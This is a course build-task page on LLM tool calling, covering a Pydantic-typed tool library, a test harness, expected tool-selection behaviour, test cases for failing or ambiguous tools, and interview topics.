Outputs: for each prompt — which tool was called, with what arguments, and what it returned.
Constraints: tool arguments must be Pydantic models, not loose dictionaries. No tool should crash the whole test on bad input — it must return a clear error the model can see instead.

```
06_tools_function_calling/practice/build_task/
├── tools.py            3 @tool functions, Pydantic argument models
├── tool_harness.py     run_with_tools(prompt, tools) -> ToolCallResult
├── test_prompts.py     prompt -> tool picked -> output -> final answer
├── http_client.py      request_with_retry(), copied from Doc02
├── exceptions.py       Doc02's named HTTP errors, copied unchanged
└── logging_setup.py    get_logger(name), copied from Doc02's build task
```

- `tools.py` / `tool_harness.py` — **What/Why:** the one tool library every later document (Doc07 onward) imports instead of writing tools from scratch.
- `test_prompts.py` — **What/Why:** proves which tool actually gets picked for a real set of prompts — also doubles as this Build Task's test file.
- `http_client.py` / `exceptions.py` / `logging_setup.py` — **What/Why:** copied unchanged from Doc02, so the weather tool gets Doc02's retries and named errors, and the harness logs the same consistent way as every other document.

Run it: `cd practice/build_task && python test_prompts.py` — from inside the folder, so imports resolve.

Builds on: the Basic round trip, the Real-world API-backed tool, the Edge cases `args_schema` models, and the Failure error string sent back as a tool message — **copy** all four into `tools.py` and `tool_harness.py` rather than starting from scratch. Use Doc01's `get_logger(name)` for the harness's logging, exactly as named there.

Used later by: Doc07's agent loop imports this same tool library and wraps `tool_harness.py`'s round-trip in a `while` loop — that is genuinely the whole difference between a tool call and an agent.

Expected Behavior

- Clear prompts pick the right tool almost every time.
- Unclear prompts sometimes pick the "wrong" one — write this down as expected model behavior, not a bug.
- A failing tool returns a clear error the model can see and react to sensibly, instead of crashing the program.

Test Cases

Prompt type	Expected
Clearly matches tool A	Tool A gets called with the right arguments
Matches neither tool	No tool called, model answers directly or says it can't
Missing a required argument	The model asks for it, or a clean error is shown
Tool set to always fail	The model gets an error message, doesn't make up a fake success

Break-It / Debug Preview

- Two tools with almost identical descriptions — watch the choice become unreliable.
- A tool called twice in one turn when once was correct.
- Full debugging drill in 14_debugging_lab.

Interview Topics Preview

- Why tool descriptions are really prompts too · tool-choice settings (`auto` / `required` /forced) · how tool errors should be passed back to the model · why the model is not a security boundary · MCP's N × M argument and its three building blocks.

Move On When

Given a new tool description, you can register it correctly and guess when the model will and won't choose it. Full details: CURRICULUM.md §4.

Stuck? Ask for **Hint 1** (a concept) through **Hint 2** (almost the whole thing). Ask for the full solution only if you say **"Show me the solution."**